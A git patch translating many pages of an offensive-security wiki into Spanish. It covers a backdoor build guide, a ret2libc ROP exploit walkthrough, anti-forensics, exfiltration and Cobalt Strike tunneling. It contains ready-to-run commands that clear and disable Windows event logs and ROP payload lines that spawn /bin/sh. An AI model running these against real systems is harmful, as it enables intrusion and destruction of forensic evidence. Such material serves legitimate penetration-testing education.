From 8f916a59e2120aa219e4cb0ee5d6fee1b0b9d3b9 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 7 Apr 2025 02:17:14 +0000 Subject: [PATCH] Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu --- src/SUMMARY.md | 5 +- src/backdoors/salseo.md | 8 +- .../rop-leaking-libc-address/README.md | 24 +- .../stack-overflow/README.md | 4 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 2 +- src/cryptography/crypto-ctfs-tricks.md | 12 +- .../anti-forensic-techniques.md | 34 +- src/generic-hacking/exfiltration.md | 10 +- .../tunneling-and-port-forwarding.md | 32 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 10 +- ...-docker-socket-for-privilege-escalation.md | 4 +- .../docker-security/weaponizing-distroless.md | 8 +- .../interesting-groups-linux-pe/README.md | 8 +- .../linux-active-directory.md | 8 +- .../arm64-basic-assembly.md | 104 ++-- .../macos-electron-applications-injection.md | 253 +++++++++- .../macos-mig-mach-interface-generator.md | 16 +- .../macos-tcc/README.md | 30 +- .../android-app-pentesting/README.md | 160 +++--- .../drozer-tutorial/README.md | 10 +- .../5984-pentesting-couchdb.md | 12 +- .../5985-5986-pentesting-winrm.md | 28 +- .../8089-splunkd.md | 6 +- .../pentesting-ftp/ftp-bounce-attack.md | 6 +- .../README.md | 32 +- .../pentesting-rdp.md | 8 +- .../pentesting-smb.md | 62 +-- .../pentesting-smb/README.md | 62 +-- .../pentesting-snmp/README.md | 33 +- .../pentesting-voip/README.md | 46 +- .../pentesting-web/403-and-401-bypasses.md | 14 +- ...n-contextisolation-rce-via-preload-code.md | 2 +- .../pentesting-web/imagemagick-security.md | 4 +- .../pentesting-web/moodle.md | 4 +- .../pentesting-web/php-tricks-esp/README.md | 44 +- .../README.md | 22 +- .../pentesting-web/put-method-webdav.md | 6 +- .../pentesting-web/special-http-headers.md | 20 +- .../pentesting-web/spring-actuators.md | 24 +- ...er-gadgets-expandedwrapper-and-json.net.md | 16 +- .../lfi2rce-via-eternal-waiting.md | 14 +- src/pentesting-web/file-upload/README.md | 44 +- ...ula-csv-doc-latex-ghostscript-injection.md | 14 +- src/pentesting-web/rate-limit-bypass.md | 6 +- .../registration-vulnerabilities.md | 14 +- ...and-ntlm-chanllenge-response-disclosure.md | 6 +- .../cloud-ssrf.md | 53 +- .../unicode-normalization.md | 16 +- src/pentesting-web/xs-search.md | 154 +++--- src/pentesting-web/xs-search/README.md | 458 +++++++++--------- .../xss-cross-site-scripting/README.md | 80 ++- .../xxe-xee-xml-external-entity.md | 58 +-- .../rop-leaking-libc-address/README.md | 20 +- .../reversing-tools-basic-methods/README.md | 58 +-- .../cheat-engine.md | 20 +- .../active-directory-methodology/README.md | 104 ++-- .../abusing-ad-mssql.md | 52 +- .../acl-persistence-abuse/README.md | 46 +- .../ad-certificates.md | 16 +- .../ad-certificates/README.md | 14 +- .../ad-certificates/certificate-theft.md | 20 +- .../ad-certificates/domain-escalation.md | 120 ++--- .../constrained-delegation.md | 27 +- .../custom-ssp.md | 6 +- .../active-directory-methodology/dcsync.md | 12 +- ...external-forest-domain-one-way-outbound.md | 10 +- .../external-forest-domain-oneway-inbound.md | 8 +- .../golden-ticket.md | 16 +- .../kerberoast.md | 126 +++-- .../kerberos-double-hop-problem.md | 34 +- .../active-directory-methodology/laps.md | 16 +- .../over-pass-the-hash-pass-the-key.md | 13 +- .../password-spraying.md | 2 +- .../printers-spooler-service-abuse.md | 16 +- .../privileged-groups-and-token-privileges.md | 50 +- .../rdp-sessions-abuse.md | 6 +- .../resource-based-constrained-delegation.md | 35 +- .../sid-history-injection.md | 53 +- .../silver-ticket.md | 49 +- .../unconstrained-delegation.md | 49 +- .../authentication-credentials-uac-and-efs.md | 33 +- .../README.md | 26 +- src/windows-hardening/av-bypass.md | 120 +++-- .../basic-cmd-for-pentesters.md | 8 +- .../basic-powershell-for-pentesters/README.md | 90 ++-- .../powerview.md | 34 +- src/windows-hardening/cobalt-strike.md | 273 ++++++++--- .../lateral-movement/README.md | 8 +- .../lateral-movement/atexec.md | 10 +- .../{dcom-exec.md => dcomexec.md} | 31 +- .../lateral-movement/psexec-and-winexec.md | 18 +- .../lateral-movement/rdpexec.md | 15 + .../lateral-movement/scmexec.md | 15 + .../lateral-movement/smbexec.md | 38 -- .../lateral-movement/wmiexec.md | 32 +- src/windows-hardening/mythic.md | 165 +++++++ src/windows-hardening/ntlm/README.md | 28 +- src/windows-hardening/ntlm/atexec.md | 27 -- .../ntlm/places-to-steal-ntlm-creds.md | 4 +- .../ntlm/psexec-and-winexec.md | 38 -- src/windows-hardening/ntlm/smbexec.md | 36 -- src/windows-hardening/ntlm/winrm.md | 7 - src/windows-hardening/ntlm/wmiexec.md | 110 ----- .../stealing-credentials/README.md | 24 +- .../credentials-protections.md | 65 ++- .../stealing-credentials/wts-impersonator.md | 18 +- .../README.md | 161 +++--- .../com-hijacking.md | 6 +- ...ritable-sys-path-+dll-hijacking-privesc.md | 24 +- .../dpapi-extracting-passwords.md | 240 +++++++-- .../leaked-handle-exploitation.md | 58 +-- .../privilege-escalation-abusing-tokens.md | 38 +- .../README.md | 48 +- .../roguepotato-and-printspoofer.md | 2 +- 114 files changed, 2885 insertions(+), 2073 deletions(-) rename src/windows-hardening/lateral-movement/{dcom-exec.md => dcomexec.md} (82%) create mode 100644 src/windows-hardening/lateral-movement/rdpexec.md create mode 100644 src/windows-hardening/lateral-movement/scmexec.md delete mode 100644 src/windows-hardening/lateral-movement/smbexec.md create mode 100644 src/windows-hardening/mythic.md delete mode 100644 src/windows-hardening/ntlm/atexec.md delete mode 100644 src/windows-hardening/ntlm/psexec-and-winexec.md delete mode 100644 src/windows-hardening/ntlm/smbexec.md delete mode 100644 src/windows-hardening/ntlm/winrm.md delete mode 100644 src/windows-hardening/ntlm/wmiexec.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # 📱 Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 3c33f79c9..175742572 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -8,9 +8,9 @@ Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (Si Windows soporta x64, compílalos para esa arquitectura). -Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build" izquierda** en **"Platform Target".** +Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build"** a la izquierda en **"Platform Target".** -(\*\*Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\ Properties"**) +(**Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\ Properties"**) ![](<../images/image (132).png>) @@ -83,7 +83,7 @@ Abre el proyecto SalseoLoader usando Visual Studio. ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el popup)** +#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el popup)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) @@ -101,7 +101,7 @@ Simplemente **sal** de Visual Studio Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport_Configure.bat** -Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) y presiona **Aplicar** +Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) y presiona **Aplicar** ![](<../images/image (7) (1) (1) (1) (1).png>) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 259698413..5ab3cbe9b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -32,7 +32,7 @@ return 0; ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` -## ROP - Plantilla para filtrar LIBC +## ROP - Filtrando plantilla de LIBC Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script: @@ -40,7 +40,7 @@ Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable rop-leaking-libc-template.md {{#endref}} -## 1- Encontrar el offset +## 1- Encontrando el offset La plantilla necesita un offset antes de continuar con el exploit. Si se proporciona alguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`): ```bash @@ -69,7 +69,7 @@ Después de encontrar el offset (en este caso 40), cambia la variable OFFSET den Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern seach $rsp` desde GEF. -## 2- Encontrando Gadgets +## 2- Encontrar Gadgets Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y más tarde para **lanzar el exploit final**. ```python @@ -90,7 +90,7 @@ En este paso no necesitas ejecutar nada, ya que todo será encontrado por pwntoo ## 3- Encontrar la biblioteca libc -Ahora es el momento de encontrar qué versión de la **libc** se está utilizando. Para hacerlo, vamos a **filtrar** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección. +Ahora es el momento de encontrar qué versión de la **biblioteca libc** se está utilizando. Para hacerlo, vamos a **filtrar** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -124,16 +124,16 @@ Para hacerlo, la línea más importante del código ejecutado es: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Esto enviará algunos bytes hasta que **sobrescribir** el **RIP** sea posible: `OFFSET`.\ -Luego, se establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\ -Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y lo **imprima**.\ +Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\ +Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **la imprima**.\ Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente. De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**. ![](<../../../../images/image (1049).png>) -Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\ -Pero, en un caso de explotación remota, explicaré aquí cómo puedes encontrarla: +Como estamos **explotando** un binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\ +Pero, en un caso de explotación remota, aquí explicaré cómo puedes encontrarla: ### 3.1- Buscando la versión de libc (1) @@ -162,7 +162,7 @@ Podemos averiguar qué **libc** es la que probablemente se está utilizando. ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera: +Obtenemos 2 coincidencias (deberías intentar la segunda si la primera no funciona). Descarga la primera: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -183,7 +183,7 @@ gets ``` ## 4- Encontrar la dirección de libc basada y explotar -En este punto, deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6` +En este punto deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6` Así que, al principio de `template.py`, cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca` @@ -221,14 +221,14 @@ Vamos a explicar este ROP final.\ El último ROP (`rop1`) terminó llamando nuevamente a la función main, luego podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí de nuevo). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como un parámetro.\ Finalmente, se **llama** a la **dirección de la función exit** para que el proceso **salga correctamente** y no se genere ninguna alerta. -**De esta manera, el exploit ejecutará un \_/bin/sh**\_\*\* shell.\*\* +**De esta manera, el exploit ejecutará un shell _/bin/sh_.** ![](<../../../../images/image (165).png>) ## 4(2)- Usando ONE_GADGET También podrías usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\ -Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción. +Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL` Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción. ![](<../../../../images/image (754).png>) ```python diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 38a5beaf4..eb2330219 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,7 +4,7 @@ ## Qué es un Stack Overflow -Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada. +Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada. El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**. @@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer); La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**. -Además, una vez que encuentres que hay una vulnerabilidad de Stack Overflow, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud \_n**\_\*\* aparece exactamente una vez\*\* como una subsecuencia contigua. +Además, una vez que encuentres que hay una vulnerabilidad de Stack Overflow, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud _n_ aparece exactamente una vez** como una subsecuencia contigua. De esta manera, en lugar de necesitar averiguar manualmente qué offset se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola. diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index f8e2fd688..c5ca4e2e8 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -192,7 +192,7 @@ krodfdudfrod **Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\ Por ejemplo: 2=A, 22=B, 222=C, 3=D...\ -Puedes identificar este código porque verás\*\* varios números repetidos\*\*. +Puedes identificar este código porque verás **varios números repetidos**. Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 2123e3fde..73f8e358b 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -19,7 +19,7 @@ ## Autosolvers Mágicos - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo mágico) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (módulo mágico) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) @@ -188,15 +188,15 @@ Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el re ``` krodfdudfrod ``` -### Código SMS +### SMS Code -**Multitap** [reemplaza una letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\ +**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\ Por ejemplo: 2=A, 22=B, 222=C, 3=D...\ -Puedes identificar este código porque verás\*\* varios números repetidos\*\*. +Puedes identificar este código porque verás **varios números repetidos**. Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -### Código Bacon +### Bacon Code Sustituye cada letra por 4 As o Bs (o 1s y 0s) ``` @@ -247,7 +247,7 @@ Key: ``` - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Compartición Secreta de Samir +### Samir Secret Sharing Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_). ``` diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index cea913803..801ac2646 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -3,11 +3,11 @@ # Timestamps Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\ -Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` ** y ** `$FILE_NAME`. +Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION`**y**`$FILE_NAME`. Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB). -**El explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. +**Windows explorer** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. ## TimeStomp - Herramienta anti-forense @@ -40,42 +40,42 @@ Usando la misma herramienta es posible identificar **a qué hora se modificaron ## Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME` -Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **incongruencias**. +Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **desajustes**. ## Nanosegundos -Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. +Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Entonces, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. ## SetMace - Herramienta anti-forense Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, desde Windows Vista, es necesario que un sistema operativo en vivo modifique esta información. -# Data Hiding +# Ocultación de datos -NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa y utiliza un clúster y medio, la **mitad restante nunca se va a utilizar** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de holgura**. +NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa un clúster y medio, la **mitad restante nunca se va a utilizar** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de relleno**. Hay herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se añadieron algunos datos: ![](<../../images/image (452).png>) -Entonces, es posible recuperar el espacio de holgura usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado. +Entonces, es posible recuperar el espacio de relleno usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado. # UsbKill Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\ Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de python en ejecución**. -# Live Linux Distributions +# Distribuciones de Linux en vivo Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma de detectarlas es **en caso de que el sistema de archivos NTFS esté montado con permisos de escritura**. Si está montado solo con permisos de lectura, no será posible detectar la intrusión. -# Secure Deletion +# Eliminación segura [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Configuración de Windows -Es posible deshabilitar varios métodos de registro de Windows para dificultar mucho la investigación forense. +Es posible deshabilitar varios métodos de registro de Windows para hacer que la investigación forense sea mucho más difícil. ## Deshabilitar marcas de tiempo - UserAssist @@ -92,8 +92,8 @@ Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de - Ejecutar `regedit` - Seleccionar la ruta del archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Haga clic derecho en `EnablePrefetcher` y `EnableSuperfetch` -- Seleccione Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0 +- Hacer clic derecho en `EnablePrefetcher` y `EnableSuperfetch` +- Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0 - Reiniciar ## Deshabilitar marcas de tiempo - Última hora de acceso @@ -107,8 +107,8 @@ Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT ## Eliminar historial de USB -Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando esto** eliminará el historial de USB.\ -También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que los ha eliminado (y para eliminarlos). +Todas las **entradas de dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando esto** eliminará el historial de USB.\ +También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que las ha eliminado (y para eliminarlas). Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debe ser eliminado. @@ -134,14 +134,14 @@ También es posible modificar la configuración de qué archivos se van a copiar ## Eliminar registros de eventos de Windows -- Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Haga clic derecho en cada categoría y seleccione "Borrar registro" +- Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Hacer clic derecho en cada categoría y seleccionar "Borrar registro" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` ## Deshabilitar registros de eventos de Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Dentro de la sección de servicios, deshabilite el servicio "Registro de Eventos de Windows" +- Dentro de la sección de servicios, deshabilitar el servicio "Registro de Eventos de Windows" - `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` ## Deshabilitar $UsnJrnl diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index c92613c26..75c03abdb 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -O crea un recurso compartido smb **usando samba**: +O crear un recurso compartido smb **usando samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -175,7 +175,7 @@ WindPS-2> cd new_disk: ``` ## SCP -El atacante debe tener SSHd en funcionamiento. +El atacante debe tener SSHd en ejecución. ```bash scp @:/ ``` @@ -254,7 +254,7 @@ tftp -i get nc.exe ``` ## PHP -Descarga un archivo con un oneliner de PHP: +Descargar un archivo con un PHP oneliner: ```bash echo "" > down2.php ``` @@ -304,6 +304,10 @@ wine exe2bat.exe nc.exe nc.txt ``` Luego, copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe. +- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) + ## DNS +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index ceaf4e53d..30fa2078f 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Consejo de Nmap > [!WARNING] -> **ICMP** y **SYN** scans no pueden ser tunelizados a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **scans TCP** (`-sT`) para que esto funcione. +> **ICMP** y **SYN** los escaneos no se pueden tunelizar a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione. ## **Bash** @@ -145,22 +145,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> En este caso, el **puerto se abre en el host beacon**, no en el Team Server y el tráfico se envía al Team Server y desde allí al host:puerto indicado. +> En este caso, el **puerto se abre en el host de beacon**, no en el Team Server y el tráfico se envía al Team Server y de allí al host:puerto indicado. ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` Para tener en cuenta: -- La reversa de puerto de Beacon está diseñada para **túnel de tráfico al Servidor de Equipo, no para retransmitir entre máquinas individuales**. -- El tráfico está **tuneado dentro del tráfico C2 de Beacon**, 